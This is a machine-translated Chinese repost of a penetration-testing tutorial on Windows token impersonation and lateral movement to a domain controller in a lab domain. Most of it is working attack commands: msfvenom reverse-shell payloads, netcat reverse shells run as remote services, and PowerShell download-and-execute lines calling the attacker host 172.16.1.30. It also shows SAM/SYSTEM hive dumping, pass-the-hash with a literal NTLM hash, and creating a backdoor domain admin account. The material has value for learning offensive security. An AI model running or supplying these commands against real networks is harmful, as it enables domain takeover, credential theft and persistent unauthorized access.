AD 横向移动-令牌模拟攻击
本文通过 Google 翻译 Lateral Movement – Token Impersonation 这篇文章所产生,本人仅是对呆板翻译中部分表达别扭的字词举行了校正及个别注释增补。导航
[*]0 前言
[*]1 访问令牌简介
[*]2 实验环境介绍
[*]3 模拟域管理员 – incognito.exe
[*]3.1 使用 PsExec64.exe 转向 DC
[*]4 模拟域管理员 – Metasploit
[*]4.1 通过创建服务转向 DC
[*]5 模拟域管理员 – mimikatz.exe
[*]5.1 通过创建域管理员帐户转向 DC
[*]6 远程模拟域管理员 – CrackMapExec
[*]6.1 提取 SAM/SYSTEM 文件
[*]6.2 提取用户哈希值
[*]6.3 模拟域管理员令牌
[*]6.4 使用 Invoke-Command 转向 DC
[*]6.5 使用 CrackMapExec 转向 DC
0、前言
在这篇文章中,我们将学习如何使用域管理员曾登录 Windows 10 主机之后留下的访问令牌执行令牌模拟攻击。在成功模拟域管理员访问令牌之后,我们将使用此令牌的身份从 Windows 10 主机转向 DC。
起首,假设我们已在一台 win10 域主机上站稳了脚跟,并已将权限提升到了本地 SYSTEM 权限。然后,我们将学习四种不同的技能,用于枚举和模拟受害主机上的访问令牌。末了,我们将学习以域管理员用户的身份获取 Shell 的各种方法,并使用这些方法成功转向到 DC。
1、访问令牌简介
在 Windows 操作系统中,访问令牌(Access Token) 是一个包含安全信息(包含:用户 sid、组 sid、Se 特权 等)的数据结构,用于标识一个用户或进程的安全上下文(Security Context)。它是系统实现权限控制的核心机制之一。
访问令牌是在用户成功登录系统后由操作系统创建(有点类似于 Web 浏览器的 Cookie 存储帐户信息的方式),并分配给其启动的每个进程。每次访问受保护资源(如文件、注册表、服务等)时,系统就会使用访问令牌与资源的权限列表举行匹配,从而决定是否允许访问。
必要留意的是,Windows 系统存储的访问令牌一直到呆板重启才会失效。但幸运的是,由于服务器一样平常不会重启,因此这种攻击在服务器上更为常见。
注:令牌的类型有许多种类,但可用于令牌模拟攻击的类型重要有:Delegation(委派) 和 Impersonation(模拟)。
Delegation 令牌:当用户使用其根据(本地用户或域用户)交互登录到系统时由系统天生的,可用于跨主机访问资源。
Impersonation 令牌:是程序在已有用户认证根据的前提下,通过调用 API 自动创建的,用于在本地模拟用户,仅能在本机访问资源。
如今,我们从高条理上了解了令牌是什么,接下来,让我们看看如何枚举和模拟留在 Windows 10 主机上的域管理员令牌。
2、实验环境介绍
在这个例子中,我们将对目标 Windows 10 呆板快速举行枚举、驻足、提权等步调。
[*]起首,使用以下命令对 DC 和 Windows 10 主机举行 nmap 扫描:
nmap -A -sV -sC -T4 172.16.1.5 172.16.1.100 -p-https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193231005-328629027.png
上图是针对 DC 的扫描结果,从结果中可知:该呆板的主机名是 Juggernaut-DC,位于 Juggernaut.local 域中,服务 SMB (445)、RDP (3389) 、WinRM (5985) 正在运行。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193228028-1525157904.png
上图是针对 Windows 10 的扫描结果,从结果中可知:该呆板的主机名是 JUGG-efrost,也位于 Juggernaut.local 域中,也运行着 SMB (445)、RDP (3389) 、WinRM (5985) 这些服务,另外还发现一个运行在端口 80 上的 Web 服务。
[*]接着,在 Web 服务上发现了一个文件上传漏洞,利用该漏洞成功上传并执行了一个 ASPX 反向 shell 脚本,从而获得了一个 efrost 身份的 shell 。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193226289-1222385738.png
[*]在建立驻足点之后,先对本地主机举行了一些手动枚举,然后又利用当前域用户的身份又对域举行了一些枚举。在域枚举中,发现域管理组中有一个令我们感兴趣的 nessex 用户。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227896-2112050881.png
[*]另外,我们发现用户 nessex 在这台呆板上有一个家配置文件,这意味着该用户之前在这台呆板上登录过。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227836-1319866499.png
[*]在经过进一步的枚举之后,我们发现系统上存在未加引号的服务路径漏洞,通过利用该漏洞我们成功获得了一个本地 SYSTEM 权限的 shell。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227940-2009958981.png
有关如何利用未加引号的服务路径漏洞,可参考此文章。
如今,我们已经获得了 Windows 10 主机上的 SYSTEM 权限。接下来,我们便想寻找能够提升域权限的方法。提升域权限说白了就是如何去获得域管理员账户的访问权限,而获得域管理员访问权限的最佳方法莫过于使用他们留在 Windows 10 主机上的令牌去冒充他们的身份。
3、模拟域管理员 – incognito.exe
由于已经拥有了 SYSTEM 权限,因此我们可以枚举该呆板上生存的任何令牌。而在之前的枚举中,我们发现域管理员 nessex 曾在此呆板上登录过,假如足够幸运的话,该令牌应该还在系统中。
为了枚举系统中残留的令牌,我们将使用一个名为 incognito.exe 的工具。将 incognito.exe 下载并传输到受害机之后,可以使用以下命令列出所有可用的令牌:
.\incognito.exe list_tokens -uhttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193228036-304573500.png
可以看到,nessex 用户的令牌是有用的!而为了使用此令牌,我们借助 msfvenom 制作了一个漏洞利用程序,以便通过 incognito.exe 去执行它。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o shell.exehttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193228433-1796013765.png
漏洞利用程序 shell.exe 制作完成之后,我们必要将其传输给受害者,并在攻击者呆板启动 netcat 监听器。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227532-2038847611.png
处置惩罚好这一切之后,我们就可以使用以下命令以用户 nessex 的身份去执行这个恶意程序。
.\incognito.exe execute -c "JUGGERNAUT\nessex" .\shell.exehttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227520-1014299916.png
命令执行之后提示挂起,当我们回到 nc 监听器便得到了一个域管理员身份的 shell!
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193228133-506379032.png
3.1、使用 PsExec64.exe 转向 DC
拥有了域管理员权限的 shell 之后,就可以使用以下命令检查我们是否有权访问 DC:
dir \\Juggernaut-DC\c$https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193228172-49759530.png
Amazing!我们通过 SMB 成功枚举了 DC,并访问到了 DC 上的文件。
注:我们也可以通过 SMB 将 shell.exe 文件从 Windows 10 主机传输到 DC 主机。将 shell.exe 转移到 DC 上之后,我们不能直接通过在 win10 主机上执行 \\Juggernaut-DC\c$\shell.exe 这种方式去执行它,以期望得到一个 DC 上的 shell。
因为这种执行方式等效于:将 DC 上的 shell.exe 下载到 win10 主机上,然后在 win10 主机上去运行它。其最终的结果就是,得到的 shell 依旧还是 win10 主机的 shell,而非 DC 的 shell。
为了不仅仅只是能够访问 DC 上的文件,我们还可以借助 PsExec64.exe 工具去获得一个 DC 的 Shell。
将 PsExec64.exe 副本下载并传输到受害机之后,我们必要在攻击者的呆板上启动另一个 nc 监听器,监听端口依旧是 443。之后,便执行以下命令:
psexec 的 -c 选项可以把任何本地程序复制到远程计算机并执行它。
.\PsExec64.exe -accepteula \\Juggernaut-DC -c C:\temp\shell.exehttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227728-1836265020.png
执行上述命令后,回到 nc 监听器,我们便得到了一个 DC 上的 shell!
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227641-1739416236.png
至此,我们便完全掌控了 DC,可以做任何想做的事情了。例如,我们可以通过 Mimikatz 转储所有的用户哈希值、创建黄金票证、新建管理员账户等等!
4、模拟域管理员 – Metasploit
除了上面的手动方法外,我们还可以使用 Metasploit 来执行此攻击。为此,我们必要获得一个 Meterpreter shell。
起首,在攻击者呆板上启动 Metasploit:
msfconsole -q接着,设置一个 Web 投递 Payload 来获取 meterpreter shell。
注:Web 投递载荷这种监听方式(exploit/multi/script/web_delivery)要比只是在本地监听端口(exploit/multi/handler)更为便捷,因为它省去了文件传输的步调。
use exploit/multi/script/web_deliveryhttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193228233-2137679455.png
然后,设置 PAYLOAD、LHOST、LPORT、TARGET 的参数信息如下:
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.30
set LPORT 80
set TARGET 2https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193230354-1086380107.png
之后,我们执行 exploit 命令,它便会为我们提供一个经过编码的 PowerShell 1-liner 命令字串。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193228510-430082011.png
将命令字串粘贴到受害者 shell 并执行后,我们将看到有一个 meterpreter 会话会被建立。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193228673-1478506268.png
如今,我们获得了一个 SYSTEM 权限的 meterpreter shell,然后就可以使用以下命令来加载 incognito 模块:
load incognito模块被加载之后,执行 help 命令,我们便可以查询到该模块所支持的全部命令。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193225234-658967337.png
在 incognito 模块支持的命令中,我们最感兴趣的两个命令是 list_tokens 和 impersonate_token。它们允许我们枚举呆板上存在的用户令牌,然后模拟我们感兴趣的令牌。
list_tokens -uhttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227677-1739065966.png
impersonate_token juggernaut\\nessexhttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227745-154029165.png
4.1、通过创建服务转向 DC
不太为人所知的是,sc 命令实际上可用于在本地和远程创建和管理服务!
SC 命令用于在 Windows 命令行上配置、查询、停止、启动、删除和添加系统服务。假如拥有得当的权限,SC 命令可用于管理本地和远程系统上的服务。
之前,我们使用 dir \\Juggernaut-DC\c$ 命令枚举 DC。这次,我们使用以下命令将 netcat.exe 传输到 DC 主机上:
copy C:\temp\nc.exe \\Juggernaut-DC\C$\Windows\temphttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227288-591044260.png
然后,我们将通过以下命令远程在 DC 上设置并启动恶意服务,同时在攻击机启动一个 nc 监听器以捕获 DC 上的 SYSTEM shell:
sc \\Juggernaut-DC create pivot binpath= "C:\Windows\temp\nc.exe 172.16.1.30 443 -e cmd.exe"
sc \\Juggernaut-DC start pivothttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227278-1193570863.png
启动 pivot 服务之后提示被挂起,而这是一个好兆头。回到 nc 监听器,我们便获得了一个从 DC 过来的 SYSTEM shell!
注:之所以这次获取到的是一个 DC 端的 SYSTEM shell,这是因为新建服务的启动账户默认就是本地 SYSTEM,因此只要这个服务能够被启动,而不管启动它的用户是谁,这个服务进程都是以 SYSTEM 权限在运行着。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227073-362768891.png
Amazing!我们再次完全掌控了 DC 。
5、模拟域管理员 – mimikatz.exe
另一个可用于执行令牌模拟攻击的工具是 Mimikatz。起首,我们可以下载 mimikatz.exe 的副本并将其传输到受害机。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193226480-185852782.png
接着,执行以下命令以开启 debug 特权:
.\mimikatz.exe
privilege::debughttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193226147-1799584731.png
然后,执行以下命令来枚举此呆板上存在的所有令牌:
token::listhttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193225508-1177842641.png
以上执行会产生大量的输出,从输出中我们可以多次看到 nessex 用户在列表中出现。在确认系统上存在域管理员令牌之后,我们便可以使用以下命令来模拟它:
请留意,此命令将查找并模拟它能找到的任何域管理员令牌。
token::elevate /domainadminhttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227474-587263695.png
可以看到,域管理员令牌已被成功模拟。而为了能获得一个 nessex 身份的 shell ,我们可以在 mimikatz 中运行以下命令来执行 shell.exe:
token::run /process:"C:\temp\shell.exe"https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193225680-1198838691.png
回到 nc 监听器,我们成功获得了一个 nessex 身份的 shell !
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227264-583918612.png
5.1、通过创建域管理员帐户转向 DC
如今,我们已经拥有了域管理员的 Shell,而为了可以非常简单地就切换到 DC,最轻便的方法便是创建一个新的域管理员用户。之后,我们就可以通过该用户,使用 psexec.py 获取 DC 上的 Shell;或者,使用 RDP 获取 DC 的远程桌面。
要创建新的域用户并将其添加到域管理员组,可使用以下命令:
net user /add pwnt P@ssw0rd /domain
net group /add "Domain Admins" pwnt /domainhttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193229283-1150341623.png
创建了新的域管理员用户之后,我们便可以使用以下命令来访问 DC 的远程桌面:
sudo xfreerdp /u:pwnt /p:'P@ssw0rd' /d:juggernaut.local /v:172.16.1.5 +clipboardhttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193229315-306114603.png
或者,也可以使用 impacket-psexec.py 直接获取 DC 主机的 SYSTEM shell。
psexec.py pwnt:'P@ssw0rd'@172.16.1.5https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193226875-1012861892.png
Amazing!我们再次完全掌控了 DC,同时还创造了长期性!
6、远程模拟域管理员 – CrackMapExec
对于末了一个示例,我们将学习如何使用 CrackMapExec 工具去远程模拟域管理员令牌。
起首,我们将使用哈希传递攻击远程枚举并测试模拟域管理员令牌。接着,我们借助一个 PowerShell 脚本的反向 shell 并为其启动一个 http 服务器。然后,通过远程模拟的域管理员身份去加载这个反向 shell 脚本,从而获得一个域管理员身份的 shell。末了,我们将使用另一种 LOL(living off the land,意为“离地求生”)技能来转向 DC。
为了可以远程模拟 win10 机上存在的域管理员令牌,我们起首必要知道 win10 机本地管理员帐户的密码或哈希。而至今我们没有发现过任何密码,只是获得了一个 win10 主机的 SYSTEM shell。因此在远程模拟域管理员令牌之前,我们必要先获取 win10 主机上的 SAM/SYSTEM 文件副本,然后提取其中的本地用户哈希值。
6.1、提取 SAM/SYSTEM 文件
从受害机那里提取 SAM/SYSTEM 文件最简单方法是使用 reg.exe 直接从注册表中提取它们 ,这种技能很简单,通过以下两条命令便能完成:
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEMhttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193224687-100266932.png
提取到这两个文件的副本之后,我们必要将文件传输回攻击者呆板上以便通过 secretsdump.py 脚本举行哈希的提取。
6.2、提取用户哈希值
如今,我们可以通过以下命令轻松地从 SAM 文件中提取出哈希值:
secretsdump.py -sam SAM -system SYSTEM LOCALhttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193226771-367934215.png
Perfect!我们成功提取到了本地管理员帐户的 NTLM 哈希值,而这也正是接下来的远程攻击攻击所必需的。
6.3、模拟域管理员令牌
有了管理员哈希之后,我们便可以在攻击机上执行以下命令来枚举 win10 主机上留下的所有用户令牌:
crackmapexec smb 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M impersonate -o MODULE=listhttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193230307-1633905370.png
可以看到,命令已成功执行,所有令牌均被列举了出来。而为了验证模拟功能是否正常,我们可以简单地运行 whoami 命令来举行确认。
crackmapexec smb 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M impersonate -o MODULE=exec TOKEN=4 EXEC=whoamihttps://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193224928-1203829795.png
从上面可以看到,模拟功能可以正常执行。
如今,我们可以通过很多方法来获取 shell。但在本例中,我们将使用 Nishang 脚本集中的一个 TCP 反向 Shell 脚本 Invoke-PowerShellTcp.ps1 来获取 shell。
获取该脚本的副本之后,我们会在脚本底部添加以下命令来实现加载即运行的效果:
Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.30 -Port 443https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193228141-2023260619.png
接着,我们必要在攻击机上为该脚本启动一个 HTTP 服务器以及一个 nc 监听器。然后,就可以执行以下命令来获取一个 nessex 身份的反向 shell:
crackmapexec smb 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M impersonate -o MODULE=exec TOKEN=4 EXEC="powershell.exe -c iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp443.ps1')"https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193224579-214878242.png
不一会之后,当我们再次检查监听器时,便看到了一个以域管理员身份运行的 PowerShell 会话。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193226766-606637154.png
6.4、使用 Invoke-Command 转向 DC
有了 win10 受害机的 PowerShell 会话之后,我们就可以开始测试 Invoke-Command 命令是否可以远程在 DC 上执行命令了。
而之所以会实验使用此命令,是因为在之前通过 nmap 扫描的时候发现这两台呆板上的 5985 端口都处于打开状态,这就意味着 WinRM 服务是处于运行状态的,而这也为 Invoke-Command 提供了执行环境。
为了验证 Invoke-Command 是否可以远程在 DC 上执行命令(这里以 hostame 命令为例),我们可以使用以下命令举行测试:
Invoke-Command -ComputerName Juggernaut-DC.juggernaut.local -ScriptBlock {hostname}https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227123-109836130.png
可以看到,输出的结果是 Juggernaut-DC,这意味着我们远程在 DC 上成功地执行了 hostname 命令!
接下来,我们将再次使用前面通过反向 shell 脚本来转向 DC 的方法来再次转向 DC。于此同时,我们还必要在攻击机额外再启动一个 nc 监听器,然后就可以使用以下命令来获取 DC 上的 shell 了:
Invoke-Command -ComputerName Juggernaut-DC.juggernaut.local -ScriptBlock {iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp443.ps1')}https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227950-1223392447.png
当提示符挂起时,回到监听器,我们看到已成功捕获了一个来自 DC 的 shell!
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193227065-1024679975.png
6.5、使用 CrackMapExec 转向 DC
关于上一小节使用 Invoke-Command 命令直接转向 DC 的方式,我们也可以实验采取不同的利用方式。即从原来先获取 win10 shell 然后在其上执行 Invoke-Command 以转向 DC 的方式,改进为 跳过获取 win10 shell 的步调,直接通过 crackmapexec 远程转向 DC。例如:
crackmapexec smb 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M impersonate -o MODULE=exec TOKEN=4 EXEC="powershell.exe -c Invoke-Command -ComputerName Juggernaut-DC.juggernaut.local -ScriptBlock {hostname}"https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193228041-498567714.png
Cool!我们能够通过 crackmapexec 直接在 DC 上执行命令,而且所有操作都是远程完成的!同样,我们也可以远程执行以下命令,以让 DC 可以远程加载一个 TCP 反向 shell 脚本。
crackmapexec smb 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M impersonate -o MODULE=exec TOKEN=4 EXEC="powershell.exe -c Invoke-Command -ComputerName Juggernaut-DC.juggernaut.local -ScriptBlock {iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp443.ps1')}"https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193226593-1945525978.png
如此,我们便可以通过 nc 监听器成功地捕获到一个来自 DC 的 shell 了。
https://img2024.cnblogs.com/blog/1503193/202505/1503193-20250528193226590-1762079109.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]